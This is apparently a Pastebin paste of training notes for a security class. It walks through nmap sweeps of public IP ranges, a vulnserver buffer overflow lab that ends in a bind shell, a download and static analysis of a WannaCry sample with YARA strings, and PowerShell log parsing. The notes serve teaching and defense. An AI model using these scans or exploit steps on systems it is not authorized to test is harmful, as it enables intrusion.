joemccray

CND Class

Jun 20th, 2017
1,816
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
  1. #####################################
  2. # InfoSecAddicts Intro to Linux #
  3. # By Joe McCray #
  4. #####################################
  5.  
  6.  
  7.  
  8.  
  9.  
  10. #########################
  11. # Connect to the server #
  12. #########################
  13.  
  14. Use Putty to SSH into my Ubuntu host in order to perform the lab tasks below.
  15.  
  16. You can download Putty from here:
  17. http://the.earth.li/~sgtatham/putty/latest/x86/putty.exe
  18.  
  19. #########################
  20. # Connect to the server #
  21. #########################
  22.  
  23. Use Putty to SSH into my Ubuntu host in order to perform the lab tasks below.
  24.  
  25. You can download Putty from here:
  26. http://the.earth.li/~sgtatham/putty/latest/x86/putty.exe
  27.  
  28.  
  29. IP Address: 107.191.39.106
  30. Protocol: ssh
  31. Port: 22
  32. username: class
  33. password:
  34.  
  35.  
  36. ########################
  37. # Scanning Methodology #
  38. ########################
  39.  
  40. - Ping Sweep
  41. What's alive?
  42. ------------
  43.  
  44. ---------------------------Type this command-----------------------------------
  45. sudo nmap -sP 157.166.226.*
  46.  
  47. -------------------------------------------------------------------------------
  48.  
  49.  
  50.  
  51. -if -SP yields no results try:
  52. ---------------------------Type this command-----------------------------------
  53. sudo nmap -sL 157.166.226.*
  54.  
  55. -------------------------------------------------------------------------------
  56.  
  57.  
  58.  
  59. -Look for hostnames:
  60. ---------------------------Type this command-----------------------------------
  61. sudo nmap -sL 157.166.226.* | grep cnn
  62.  
  63. -------------------------------------------------------------------------------
  64.  
  65.  
  66.  
  67. - Port Scan
  68. What's where?
  69. ------------
  70. ---------------------------Type this command-----------------------------------
  71. sudo nmap -sS 162.243.126.247
  72.  
  73. -------------------------------------------------------------------------------
  74.  
  75.  
  76.  
  77. - Bannergrab/Version Query
  78. What versions of software are running
  79. -------------------------------------
  80.  
  81. ---------------------------Type this command-----------------------------------
  82. sudo nmap -sV 162.243.126.247
  83.  
  84. -------------------------------------------------------------------------------
  85.  
  86.  
  87.  
  88.  
  89. - Vulnerability Research
  90. Lookup the banner versions for public exploits
  91. ----------------------------------------------
  92. https://www.exploit-db.com/search
  93. http://securityfocus.com/bid
  94. https://packetstormsecurity.com/files/tags/exploit/
  95.  
  96.  
  97.  
  98. Network Penetration Testing Process (known vulnerabilities)
  99. -----------------------------------------------------------
  100.  
  101.  
  102. 1. Ping Sweep:
  103. The purpose of this step is to identify live hosts
  104.  
  105. nmap -sP <ip-address/ip-range>
  106.  
  107.  
  108. 2. Port Scan
  109. Identify running services. We use the running services to map the network topology.
  110.  
  111. nmap -sS <ip-address/ip-range>
  112.  
  113.  
  114. 3. Bannergrab
  115. Identify the version of version of software running on each port
  116.  
  117. nmap -sV <ip-address/ip-range>
  118.  
  119.  
  120.  
  121. 4. Vulnerability Research
  122. Use the software version number to research and determine if it is out of date (vulnerable).
  123.  
  124. exploit-db.com/search
  125.  
  126.  
  127.  
  128.  
  129.  
  130.  
  131.  
  132.  
  133.  
  134. Skill Level 1. Run the scanners
  135. -------------------------------
  136. Nexpose
  137. Qualys
  138. Retina
  139. Nessus known vulnerabilities
  140. OpenVas
  141. Foundscan
  142. GFI LanGuard
  143. NCircle
  144.  
  145.  
  146. Skill Level 2. Manual vulnerability validation (known vulnerabilities)
  147. -----------------------------------------------------------------------
  148.  
  149. windows -> systeminfo
  150. Linux-> dpkg -l
  151. rpm -qa
  152.  
  153.  
  154.  
  155.  
  156.  
  157.  
  158.  
  159. #####################################
  160. # Quick Stack Based Buffer Overflow #
  161. #####################################
  162.  
  163. - You can download everything you need for this exercise from the links below (copy nc.exe into the c:\windows\system32 directory)
  164. http://45.63.104.73/ExploitLab.zip
  165.  
  166.  
  167. - Extract the ExploitLab.zip file to your Desktop
  168.  
  169. - Go to folder C:\Users\student\Desktop\ExploitLab\2-VulnServer, and run vulnserv.exe
  170.  
  171. - Open a new command prompt and type:
  172.  
  173. ---------------------------Type This-----------------------------------
  174.  
  175. nc localhost 9999
  176. --------------------------------------------------------------------------
  177.  
  178. - In the new command prompt window where you ran nc type:
  179. HELP
  180.  
  181. - Go to folder C:\Users\student\Desktop\ExploitLab\4-AttackScripts
  182. - Right-click on 1-simplefuzzer.py and choose the option edit with notepad++
  183.  
  184. - Now double-click on 1-simplefuzzer.py
  185. - You'll notice that vulnserv.exe crashes. Be sure to note what command and the number of As it crashed on.
  186.  
  187.  
  188. - Restart vulnserv, and run 1-simplefuzzer.py again. Be sure to note what command and the number of As it crashed on.
  189.  
  190. - Now go to folder C:\Users\student\Desktop\ExploitLab\3-OllyDBG and start OllyDBG. Choose 'File' -> 'Attach' and attach to process vulnserv.exe
  191.  
  192. - Go back to folder C:\Users\student\Desktop\ExploitLab\4-AttackScripts and double-click on 1-simplefuzzer.py.
  193.  
  194. - Take note of the registers (EAX, ESP, EBP, EIP) that have been overwritten with As (41s).
  195.  
  196. - Now isolate the crash by restarting your debugger and running script 2-3000chars.py
  197.  
  198. - Calculate the distance to EIP by running script 3-3000chars.py
  199. - This script sends 3000 nonrepeating chars to vulserv.exe and populates EIP with the value: 396F4338
  200.  
  201. 4-count-chars-to-EIP.py
  202. - In the previous script we see that EIP is overwritten with 396F4338 is 8 (38), C (43), o (6F), 9 (39)
  203. - so we search for 8Co9 in the string of nonrepeating chars and count the distance to it
  204.  
  205. 5-2006char-eip-check.py
  206. - In this script we check to see if our math is correct in our calculation of the distance to EIP by overwriting EIP with 42424242
  207.  
  208. 6-jmp-esp.py
  209. - In this script we overwrite EIP with a JMP ESP (6250AF11) inside of essfunc.dll
  210.  
  211. 7-first-exploit
  212. - In this script we actually do the stack overflow and launch a bind shell on port 4444
  213.  
  214. 8 - Take a look at the file vulnserv.rb and place it in your Ubuntu host via SCP or copy it and paste the code into the host.
  215.  
  216.  
  217. ------------------------------
  218.  
  219.  
  220.  
  221. #########################################
  222. # FreeFloat FTP Server Exploit Analysis #
  223. #########################################
  224.  
  225.  
  226.  
  227. Analyze the following exploit code:
  228. https://www.exploit-db.com/exploits/15689/
  229.  
  230. 1. What is the target platform that this exploit works against?
  231. 2. What is the variable name for the distance to EIP?
  232. 3. What is the actual distance to EIP in bytes?
  233. 4. Describe what is happening in the variable ‘junk2’
  234.  
  235.  
  236.  
  237.  
  238. Analysis of the training walk-through based on EID: 15689:
  239. http://45.63.104.73/ff.zip
  240.  
  241.  
  242.  
  243.  
  244. ff1.py
  245. 1. What does the sys module do? Call System Commands
  246. 2. What is sys.argv[1] and sys.argv[2]?
  247. 3. What application entry point is being attacked in this script?
  248.  
  249.  
  250.  
  251. ff2.py
  252. 1. Explain what is happening in lines 18 - 20 doing.
  253. 2. What pattern_create.rb doing and where can I find it?
  254. 3. Why can’t I just double click the file to run this script?
  255.  
  256.  
  257.  
  258. ff3.py
  259. 1. Explain what is happening in lines 17 - to 25?
  260. 2. Explain what is happening in lines 30 - to 32?
  261. 3. Why is everything below line 35 commented out?
  262.  
  263.  
  264.  
  265. ff4.py
  266. 1. Explain what is happening in lines 13 - to 15.
  267. 2. Explain what is happening in line 19.
  268. 3. What is the total length of buff?
  269.  
  270.  
  271.  
  272. Ff5.py
  273. 1. Explain what is happening in line 15.
  274. 2. What is struct.pack?
  275. 3. How big is the shellcode in this script?
  276.  
  277.  
  278.  
  279. ff6.py
  280. 1. What is the distance to EIP?
  281. 2. How big is the shellcode in this script?
  282. 3. What is the total byte length of the data being sent to this app?
  283.  
  284.  
  285.  
  286.  
  287. ff7.py
  288. 1. What is a tuple in python?
  289. 2. How big is the shellcode in this script?
  290. 3. Did your app crash in from this script?
  291.  
  292.  
  293.  
  294.  
  295. ff8.py
  296. 1. How big is the shellcode in this script?
  297. 2. What is try/except in python?
  298. 3. What is socket.SOCK_STREAM in Python?
  299.  
  300.  
  301.  
  302. ff9.py
  303. 1. What is going on in lines 19 and 20?
  304. 2. What is the length of the NOPs?
  305. 3. What is socket.SOCK_STREAM in Python?
  306.  
  307.  
  308.  
  309.  
  310. ff010.py
  311. 1. What is going on in lines 18 - 20?
  312. 2. What is going on in lines 29 - 32?
  313. 3. How would a stack adjustment help this script?
  314.  
  315.  
  316. Required review videos to watch tonight:
  317. ----------------------------------------
  318. https://www.youtube.com/playlist?list=PLWpmLW-3AVsjcz_VJFvofmIFVTk7T-Ukl
  319. Please watch videos 1-5 tonight. Vivek has a deep accent so I understand that it may be difficult but his material is very good - probably the best on the internet today.
  320.  
  321. Recommended (not required) videos to watch tonight:
  322. ---------------------------------------------------
  323. For more background on Assembly I would recommend the following video series (videos 1-11):
  324. https://www.youtube.com/playlist?list=PL6brsSrstzga43kcZRn6nbSi_GeXoZQhR
  325. Again, you DO NOT have to watch these tonight but if you are really interested in the subject of exploit development I think they will be very helpful.
  326.  
  327.  
  328.  
  329.  
  330.  
  331.  
  332. Skill Level 3. Identify unknown vulnerabilities
  333. -----------------------------------------------
  334.  
  335. - App Type
  336. ------------
  337. Stand Alone Client Server Web App
  338.  
  339. ***(vulnerserver.exe)***
  340.  
  341.  
  342. - Input TYpe
  343. -------------
  344. FIle logical network port Browser
  345. Keyboard
  346. Mouse
  347.  
  348.  
  349.  
  350. ***(9999)***
  351.  
  352.  
  353. - Map & Fuzz app entry points:
  354. ------------------------------
  355. - Commands ***(commands)***
  356. - Methods
  357. - Verbs
  358. - functions
  359. - subroutines
  360. - controllers
  361.  
  362.  
  363. - Isolate the crash
  364. -------------------
  365.  
  366.  
  367.  
  368. - Calculate the distance to EIP
  369. -------------------------------
  370.  
  371.  
  372.  
  373.  
  374.  
  375.  
  376. ##############################################
  377. # Log Analysis with Linux command-line tools #
  378. ##############################################
  379. The following command line executables are found in the Mac as well as most Linux Distributions.
  380.  
  381. cat – prints the content of a file in the terminal window
  382. grep – searches and filters based on patterns
  383. awk – can sort each row into fields and display only what is needed
  384. sed – performs find and replace functions
  385. sort – arranges output in an order
  386. uniq – compares adjacent lines and can report, filter or provide a count of duplicates
  387.  
  388.  
  389. ##############
  390. # Cisco Logs #
  391. ##############
  392.  
  393. -----------------------------Type this-----------------------------------------
  394. wget http://45.63.104.73/cisco.log
  395. -------------------------------------------------------------------------------
  396.  
  397. AWK Basics
  398. ----------
  399. To quickly demonstrate the print feature in awk, we can instruct it to show only the 5th word of each line. Here we will print $5. Only the last 4 lines are being shown for brevity.
  400.  
  401. -----------------------------Type this-----------------------------------------
  402. cat cisco.log | awk '{print $5}' | tail -n 4
  403. -------------------------------------------------------------------------------
  404.  
  405.  
  406.  
  407. Looking at a large file would still produce a large amount of output. A more useful thing to do might be to output every entry found in “$5”, group them together, count them, then sort them from the greatest to least number of occurrences. This can be done by piping the output through “sort“, using “uniq -c” to count the like entries, then using “sort -rn” to sort it in reverse order.
  408.  
  409. -----------------------------Type this-----------------------------------------
  410. cat cisco.log | awk '{print $5}'| sort | uniq -c | sort -rn
  411. -------------------------------------------------------------------------------
  412.  
  413.  
  414.  
  415. While that’s sort of cool, it is obvious that we have some garbage in our output. Evidently we have a few lines that aren’t conforming to the output we expect to see in $5. We can insert grep to filter the file prior to feeding it to awk. This insures that we are at least looking at lines of text that contain “facility-level-mnemonic”.
  416.  
  417. -----------------------------Type this-----------------------------------------
  418. cat cisco.log | grep %[a-zA-Z]*-[0-9]-[a-zA-Z]* | awk '{print $5}' | sort | uniq -c | sort -rn
  419. -------------------------------------------------------------------------------
  420.  
  421.  
  422.  
  423.  
  424. Now that the output is cleaned up a bit, it is a good time to investigate some of the entries that appear most often. One way to see all occurrences is to use grep.
  425.  
  426. -----------------------------Type this-----------------------------------------
  427. cat cisco.log | grep %LINEPROTO-5-UPDOWN:
  428.  
  429. cat cisco.log | grep %LINEPROTO-5-UPDOWN:| awk '{print $10}' | sort | uniq -c | sort -rn
  430.  
  431. cat cisco.log | grep %LINEPROTO-5-UPDOWN:| sed 's/,//g' | awk '{print $10}' | sort | uniq -c | sort -rn
  432.  
  433. cat cisco.log | grep %LINEPROTO-5-UPDOWN:| sed 's/,//g' | awk '{print $10 " changed to " $14}' | sort | uniq -c | sort -rn
  434. --------------------------------------------------------------------------------
  435.  
  436.  
  437.  
  438.  
  439.  
  440.  
  441.  
  442. ################
  443. # The Scenario #
  444. ################
  445. You've come across a file that has been flagged by one of your security products (AV Quarantine, HIPS, Spam Filter, Web Proxy, or digital forensics scripts).
  446.  
  447.  
  448. The fastest thing you can do is perform static analysis.
  449.  
  450.  
  451.  
  452. ###################
  453. # Static Analysis #
  454. ###################
  455.  
  456. - After logging please open a terminal window and type the following commands:
  457.  
  458.  
  459. ---------------------------Type This-----------------------------------
  460.  
  461.  
  462. wget http://45.63.104.73/wannacry.zip
  463.  
  464. unzip wannacry.zip
  465. infected
  466.  
  467. file wannacry.exe
  468.  
  469. mv wannacry.exe malware.pdf
  470.  
  471. file malware.pdf
  472.  
  473. mv malware.pdf wannacry.exe
  474.  
  475. hexdump -n 2 -C wannacry.exe
  476.  
  477. ----------------------------------------------------------------------
  478.  
  479.  
  480.  
  481. In a browser...go to: http://www.garykessler.net/library/file_sigs.html
  482.  
  483. ***What is '4d 5a' or 'MZ'***
  484.  
  485.  
  486.  
  487.  
  488.  
  489. ---------------------------Type This-----------------------------------
  490. objdump -x wannacry.exe
  491.  
  492. strings wannacry.exe
  493.  
  494. strings wannacry.exe | grep -i dll
  495.  
  496. strings wannacry.exe | grep -i library
  497.  
  498. strings wannacry.exe | grep -i reg
  499.  
  500. strings wannacry.exe | grep -i key
  501.  
  502. strings wannacry.exe | grep -i rsa
  503.  
  504. strings wannacry.exe | grep -i open
  505.  
  506. strings wannacry.exe | grep -i get
  507.  
  508. strings wannacry.exe | grep -i mutex
  509.  
  510. strings wannacry.exe | grep -i irc
  511.  
  512. strings wannacry.exe | grep -i join
  513.  
  514. strings wannacry.exe | grep -i admin
  515.  
  516. strings wannacry.exe | grep -i list
  517. ----------------------------------------------------------------------
  518.  
  519.  
  520.  
  521.  
  522.  
  523.  
  524.  
  525. Hmmmmm.......what's the latest thing in the news - oh yeah "WannaCry"
  526.  
  527. Quick Google search for "wannacry ransomeware analysis"
  528.  
  529.  
  530. Reference
  531. https://securingtomorrow.mcafee.com/executive-perspectives/analysis-wannacry-ransomware-outbreak/
  532.  
  533. - Yara Rule -
  534.  
  535.  
  536. Strings:
  537. $s1 = “Ooops, your files have been encrypted!” wide ascii nocase
  538. $s2 = “Wanna Decryptor” wide ascii nocase
  539. $s3 = “.wcry” wide ascii nocase
  540. $s4 = “WANNACRY” wide ascii nocase
  541. $s5 = “WANACRY!” wide ascii nocase
  542. $s7 = “icacls . /grant Everyone:F /T /C /Q” wide ascii nocase
  543.  
  544.  
  545.  
  546.  
  547.  
  548.  
  549.  
  550.  
  551. Ok, let's look for the individual strings
  552.  
  553.  
  554. ---------------------------Type This-----------------------------------
  555. strings wannacry.exe | grep -i ooops
  556.  
  557. strings wannacry.exe | grep -i wanna
  558.  
  559. strings wannacry.exe | grep -i wcry
  560.  
  561. strings wannacry.exe | grep -i wannacry
  562.  
  563. strings wannacry.exe | grep -i wanacry **** Matches $s5, hmmm.....
  564. ----------------------------------------------------------------------
  565.  
  566.  
  567.  
  568.  
  569.  
  570.  
  571.  
  572.  
  573.  
  574.  
  575.  
  576.  
  577.  
  578.  
  579.  
  580.  
  581. ####################################
  582. # Tired of GREP - let's try Python #
  583. ####################################
  584. Decided to make my own script for this kind of stuff in the future. I
  585.  
  586. Reference1:
  587. http://45.63.104.73/analyse_malware.py
  588.  
  589. This is a really good script for the basics of static analysis
  590.  
  591. Reference:
  592. https://joesecurity.org/reports/report-db349b97c37d22f5ea1d1841e3c89eb4.html
  593.  
  594.  
  595. This is really good for showing some good signatures to add to the Python script
  596.  
  597.  
  598. Here is my own script using the signatures (started this yesterday, but still needs work):
  599. https://pastebin.com/guxzCBmP
  600.  
  601.  
  602.  
  603. ---------------------------Type This-----------------------------------
  604. wget https://pastebin.com/raw/guxzCBmP
  605.  
  606.  
  607. mv guxzCBmP am.py
  608.  
  609.  
  610. cat am.py | less
  611.  
  612. python2.7 am.py wannacry.exe
  613. ----------------------------------------------------------------------
  614.  
  615.  
  616.  
  617. #####################
  618. # Powershell Basics #
  619. #####################
  620.  
  621. PowerShell is Microsoft's new scripting language that has been built in since the release Vista.
  622.  
  623. PowerShell file extension end in .ps1 .
  624.  
  625. An important note is that you cannot double click on a PowerShell script to execute it.
  626.  
  627. To open a PowerShell command prompt either hit Windows Key + R and type in PowerShell or Start -> All Programs -> Accessories -> Windows PowerShell -> Windows PowerShell.
  628.  
  629. ------------------------Type This------------------------------
  630. cd c:\
  631. dir
  632. cd
  633. ls
  634. ---------------------------------------------------------------
  635.  
  636.  
  637. To obtain a list of cmdlets, use the Get-Command cmdlet
  638. ------------------------Type This------------------------------
  639. Get-Command
  640. ---------------------------------------------------------------
  641.  
  642.  
  643. You can use the Get-Alias cmdlet to see a full list of aliased commands.
  644. ------------------------Type This------------------------------
  645. Get-Alias
  646. ---------------------------------------------------------------
  647.  
  648.  
  649. Don't worry you won't blow up your machine with Powershell
  650. ------------------------Type This------------------------------
  651. Get-Process | stop-process Don't press [ ENTER ] What will this command do?
  652. Get-Process | stop-process -whatif
  653. ---------------------------------------------------------------
  654.  
  655. To get help with a cmdlet, use the Get-Help cmdlet along with the cmdlet you want information about.
  656. ------------------------Type This------------------------------
  657. Get-Help Get-Command
  658.  
  659. Get-Help Get-Service –online
  660.  
  661. Get-Service -Name TermService, Spooler
  662.  
  663. Get-Service –N BITS
  664. ---------------------------------------------------------------
  665.  
  666.  
  667.  
  668.  
  669.  
  670. - Run cmdlet through a pie and refer to its properties as $_
  671. ------------------------Type This------------------------------
  672. Get-Service | where-object { $_.Status -eq "Running"}
  673. ---------------------------------------------------------------
  674.  
  675.  
  676.  
  677. - PowerShell variables begin with the $ symbol. First lets create a variable
  678. ------------------------Type This------------------------------
  679. $serv = Get-Service –N Spooler
  680. ---------------------------------------------------------------
  681.  
  682. To see the value of a variable you can just call it in the terminal.
  683. ------------------------Type This------------------------------
  684. $serv
  685.  
  686. $serv.gettype().fullname
  687. ---------------------------------------------------------------
  688.  
  689.  
  690. Get-Member is another extremely useful cmdlet that will enumerate the available methods and properties of an object. You can pipe the object to Get-Member or pass it in
  691. ------------------------Type This------------------------------
  692. $serv | Get-Member
  693.  
  694. Get-Member -InputObject $serv
  695. ---------------------------------------------------------------
  696.  
  697.  
  698.  
  699.  
  700. Let's use a method and a property with our object.
  701. ------------------------Type This------------------------------
  702. $serv.Status
  703. $serv.Stop()
  704. $serv.Refresh()
  705. $serv.Status
  706. $serv.Start()
  707. $serv.Refresh()
  708. $serv.Status
  709. ---------------------------------------------------------------
  710.  
  711.  
  712. If you want some good command-line shortcuts you can check out the following link:
  713. https://technet.microsoft.com/en-us/library/ff678293.aspx
  714.  
  715. #############################
  716. # Simple Event Log Analysis #
  717. #############################
  718. Let's setup a directory to work in:
  719. ------------------------Type This------------------------------
  720. cd c:\
  721.  
  722. mkdir ps
  723.  
  724. cd ps
  725. ---------------------------------------------------------------
  726.  
  727. Step 1: Dump the event logs
  728. ---------------------------
  729. The first thing to do is to dump them into a format that facilitates later processing with Windows PowerShell.
  730.  
  731. To dump the event log, you can use the Get-EventLog and the Exportto-Clixml cmdlets if you are working with a traditional event log such as the Security, Application, or System event logs.
  732. If you need to work with one of the trace logs, use the Get-WinEvent and the ExportTo-Clixml cmdlets.
  733. ------------------------Type This------------------------------
  734. Get-EventLog -LogName application | Export-Clixml Applog.xml
  735.  
  736. type .\Applog.xml
  737.  
  738. $logs = "system","application","security"
  739. ---------------------------------------------------------------
  740.  
  741.  
  742. The % symbol is an alias for the Foreach-Object cmdlet. It is often used when working interactively from the Windows PowerShell console
  743. ------------------------Type This------------------------------
  744. $logs | % { get-eventlog -LogName $_ | Export-Clixml "$_.xml" }
  745. ---------------------------------------------------------------
  746.  
  747.  
  748.  
  749.  
  750. Step 2: Import the event log of interest
  751. ----------------------------------------
  752. To parse the event logs, use the Import-Clixml cmdlet to read the stored XML files.
  753. Store the results in a variable.
  754. Let's take a look at the commandlets Where-Object, Group-Object, and Select-Object.
  755.  
  756. The following two commands first read the exported security log contents into a variable named $seclog, and then the five oldest entries are obtained.
  757. ------------------------Type This------------------------------
  758. $seclog = Import-Clixml security.xml
  759.  
  760. $seclog | select -Last 5
  761. ---------------------------------------------------------------
  762.  
  763. Cool trick from one of our students named Adam. This command allows you to look at the logs for the last 24 hours:
  764. ------------------------Type This------------------------------
  765. Get-EventLog Application -After (Get-Date).AddDays(-1)
  766. ---------------------------------------------------------------
  767. You can use '-after' and '-before' to filter date ranges
  768.  
  769. One thing you must keep in mind is that once you export the security log to XML, it is no longer protected by anything more than the NFTS and share permissions that are assigned to the location where you store everything.
  770. By default, an ordinary user does not have permission to read the security log.
  771.  
  772.  
  773.  
  774.  
  775. Step 3: Drill into a specific entry
  776. -----------------------------------
  777. To view the entire contents of a specific event log entry, choose that entry, send the results to the Format-List cmdlet, and choose all of the properties.
  778.  
  779. ------------------------Type This------------------------------
  780. $seclog | select -first 1 | fl *
  781. ---------------------------------------------------------------
  782.  
  783. The message property contains the SID, account name, user domain, and privileges that are assigned for the new login.
  784.  
  785. ------------------------Type This------------------------------
  786. ($seclog | select -first 1).message
  787.  
  788. (($seclog | select -first 1).message).gettype()
  789. ---------------------------------------------------------------
  790.  
  791.  
  792. In the *nix world you often want a count of something (wc -l).
  793. How often is the SeSecurityPrivilege privilege mentioned in the message property?
  794. To obtain this information, pipe the contents of the security log to a Where-Object to filter the events, and then send the results to the Measure-Object cmdlet to determine the number of events:
  795. ------------------------Type This------------------------------
  796. $seclog | ? { $_.message -match 'SeSecurityPrivilege'} | measure
  797. ---------------------------------------------------------------
  798. If you want to ensure that only event log entries return that contain SeSecurityPrivilege in their text, use Group-Object to gather the matches by the EventID property.
  799.  
  800. ------------------------Type This------------------------------
  801. $seclog | ? { $_.message -match 'SeSecurityPrivilege'} | group eventid
  802. ---------------------------------------------------------------
  803.  
  804. Because importing the event log into a variable from the stored XML results in a collection of event log entries, it means that the count property is also present.
  805. Use the count property to determine the total number of entries in the event log.
  806. ------------------------Type This------------------------------
  807. $seclog.Count
  808. ---------------------------------------------------------------
  809.  
  810.  
  811.  
  812.  
  813.  
  814. ############################
  815. # Simple Log File Analysis #
  816. ############################
  817.  
  818.  
  819. You'll need to create the directory c:\ps and download sample iss log http://pastebin.com/raw.php?i=LBn64cyA
  820.  
  821. ------------------------Type This------------------------------
  822. cd c:\ps
  823. (new-object System.Net.WebClient).DownloadFile("http://pastebin.com/raw.php?i=LBn64cyA", "c:\ps\u_ex1104.log")
  824. (new-object System.Net.WebClient).DownloadFile("http://pastebin.com/raw.php?i=ysnhXxTV", "c:\ps\CiscoLogFileExamples.txt")
  825. Select-String 192.168.208.63 .\CiscoLogFileExamples.txt
  826. ---------------------------------------------------------------
  827.  
  828.  
  829.  
  830. The Select-String cmdlet searches for text and text patterns in input strings and files. You can use it like Grep in UNIX and Findstr in Windows.
  831. ------------------------Type This------------------------------
  832. Select-String 192.168.208.63 .\CiscoLogFileExamples.txt | select line
  833. ---------------------------------------------------------------
  834.  
  835.  
  836.  
  837. To see how many connections are made when analyzing a single host, the output from that can be piped to another command: Measure-Object.
  838. ------------------------Type This------------------------------
  839. Select-String 192.168.208.63 .\CiscoLogFileExamples.txt | select line | Measure-Object
  840. ---------------------------------------------------------------
  841.  
  842.  
  843. To select all IP addresses in the file expand the matches property, select the value, get unique values and measure the output.
  844. ------------------------Type This------------------------------
  845. Select-String "\b(?:\d{1,3}\.){3}\d{1,3}\b" .\CiscoLogFileExamples.txt | select -ExpandProperty matches | select -ExpandProperty value | Sort-Object -Unique | Measure-Object
  846. ---------------------------------------------------------------
  847.  
  848.  
  849. Removing Measure-Object shows all the individual IPs instead of just the count of the IP addresses. The Measure-Object command counts the IP addresses.
  850. ------------------------Type This------------------------------
  851. Select-String "\b(?:\d{1,3}\.){3}\d{1,3}\b" .\CiscoLogFileExamples.txt | select -ExpandProperty matches | select -ExpandProperty value | Sort-Object -Unique
  852. ---------------------------------------------------------------
  853.  
  854. In order to determine which IP addresses have the most communication the last commands are removed to determine the value of the matches. Then the group command is issued on the piped output to group all the IP addresses (value), and then sort the objects by using the alias for Sort-Object: sort count –des.
  855. This sorts the IP addresses in a descending pattern as well as count and deliver the output to the shell.
  856. ------------------------Type This------------------------------
  857. Select-String "\b(?:\d{1,3}\.){3}\d{1,3}\b" .\CiscoLogFileExamples.txt | select -ExpandProperty matches | select value | group value | sort count -des
  858. ---------------------------------------------------------------
  859.  
  860.  
  861.  
  862. ##############################################
  863. # Parsing Log files using windows PowerShell #
  864. ##############################################
  865.  
  866. Download the sample IIS log http://pastebin.com/LBn64cyA
  867.  
  868. ------------------------Type This------------------------------
  869. (new-object System.Net.WebClient).DownloadFile("http://pastebin.com/raw.php?i=LBn64cyA", "c:\ps\u_ex1104.log")
  870.  
  871. Get-Content ".\*log" | ? { ($_ | Select-String "WebDAV")}
  872. ---------------------------------------------------------------
  873.  
  874.  
  875. The above command would give us all the WebDAV requests.
  876.  
  877. To filter this to a particular user name, use the below command:
  878. ------------------------Type This------------------------------
  879. Get-Content ".\*log" | ? { ($_ | Select-String "WebDAV") -and ($_ | Select-String "OPTIONS")}
  880. ---------------------------------------------------------------
  881.  
  882.  
  883. Some more options that will be more commonly required :
  884.  
  885. For Outlook Web Access : Replace WebDAV with OWA
  886.  
  887. For EAS : Replace WebDAV with Microsoft-server-activesync
  888.  
  889. For ECP : Replace WebDAV with ECP
  890.  
  891.  
  892.  
  893.  
  894.  
  895.  
  896.  
  897. ####################################################################
  898. # Windows PowerShell: Extracting Strings Using Regular Expressions #
  899. ####################################################################
  900.  
  901.  
  902. Regex Characters you might run into:
  903.  
  904. ^ Start of string, or start of line in a multiline pattern
  905. $ End of string, or start of line in a multiline pattern
  906. \b Word boundary
  907. \d Digit
  908. \ Escape the following character
  909. * 0 or more {3} Exactly 3
  910. + 1 or more {3,} 3 or more
  911. ? 0 or 1 {3,5} 3, 4 or 5
  912.  
  913.  
  914.  
  915. To build a script that will extract data from a text file and place the extracted text into another file, we need three main elements:
  916.  
  917. 1) The input file that will be parsed
  918. ------------------------Type This------------------------------
  919. (new-object System.Net.WebClient).DownloadFile("http://pastebin.com/raw.php?i=rDN3CMLc", "c:\ps\emails.txt")
  920. (new-object System.Net.WebClient).DownloadFile("http://pastebin.com/raw.php?i=XySD8Mi2", "c:\ps\ip_addresses.txt")
  921. (new-object System.Net.WebClient).DownloadFile("http://pastebin.com/raw.php?i=v5Yq66sH", "c:\ps\URL_addresses.txt")
  922. ---------------------------------------------------------------
  923. 2) The regular expression that the input file will be compared against
  924.  
  925. 3) The output file for where the extracted data will be placed.
  926.  
  927. Windows PowerShell has a "select-string" cmdlet which can be used to quickly scan a file to see if a certain string value exists.
  928. Using some of the parameters of this cmdlet, we are able to search through a file to see whether any strings match a certain pattern, and then output the results to a separate file.
  929.  
  930. To demonstrate this concept, below is a Windows PowerShell script I created to search through a text file for strings that match the Regular Expression (or RegEx for short) pattern belonging to e-mail addresses.
  931. ------------------------Type This------------------------------
  932. $input_path = 'c:\ps\emails.txt'
  933. $output_file = 'c:\ps\extracted_addresses.txt'
  934. $regex = '\b[A-Za-z0-9._%-]+@[A-Za-z0-9.-]+\.[A-Za-z]{2,4}\b'
  935. select-string -Path $input_path -Pattern $regex -AllMatches | % { $_.Matches } | % { $_.Value } > $output_file
  936. ---------------------------------------------------------------
  937.  
  938.  
  939. In this script, we have the following variables:
  940.  
  941. 1) $input_path to hold the path to the input file we want to parse
  942.  
  943. 2) $output_file to hold the path to the file we want the results to be stored in
  944.  
  945. 3) $regex to hold the regular expression pattern to be used when the strings are being matched.
  946.  
  947. The select-string cmdlet contains various parameters as follows:
  948.  
  949. 1) "-Path" which takes as input the full path to the input file
  950.  
  951. 2) "-Pattern" which takes as input the regular expression used in the matching process
  952.  
  953. 3) "-AllMatches" which searches for more than one match (without this parameter it would stop after the first match is found) and is piped to "$.Matches" and then "$_.Value" which represent using the current values of all the matches.
  954.  
  955. Using ">" the results are written to the destination specified in the $output_file variable.
  956.  
  957. Here are two further examples of this script which incorporate a regular expression for extracting IP addresses and URLs.
  958.  
  959. IP addresses
  960. ------------
  961. For the purposes of this example, I ran the tracert command to trace the route from my host to google.com and saved the results into a file called ip_addresses.txt. You may choose to use this script for extracting IP addresses from router logs, firewall logs, debug logs, etc.
  962. ------------------------Type This------------------------------
  963. $input_path = 'c:\ps\ip_addresses.txt'
  964. $output_file = 'c:\ps\extracted_ip_addresses.txt'
  965. $regex = '\b\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}\b'
  966. select-string -Path $input_path -Pattern $regex -AllMatches | % { $_.Matches } | % { $_.Value } > $output_file
  967. ---------------------------------------------------------------
  968.  
  969.  
  970.  
  971. URLs
  972. ----
  973. For the purposes of this example, I created a couple of dummy web server log entries and saved them into URL_addresses.txt.
  974. You may choose to use this script for extracting URL addresses from proxy logs, network packet capture logs, debug logs, etc.
  975. ------------------------Type This------------------------------
  976. $input_path = 'c:\ps\URL_addresses.txt'
  977. $output_file = 'c:\ps\extracted_URL_addresses.txt'
  978. $regex = '([a-zA-Z]{3,})://([\w-]+\.)+[\w-]+(/[\w- ./?%&=]*)*?'
  979. select-string -Path $input_path -Pattern $regex -AllMatches | % { $_.Matches } | % { $_.Value } > $output_file
  980. ---------------------------------------------------------------
  981.  
  982. In addition to the examples above, many other types of strings can be extracted using this script.
  983. All you need to do is switch the regular expression in the "$regex" variable!
  984. In fact, the beauty of such a PowerShell script is its simplicity and speed of execution.
  985.  
  986.  
  987. ##################################
  988. # Basic: Web Application Testing #
  989. ##################################
  990.  
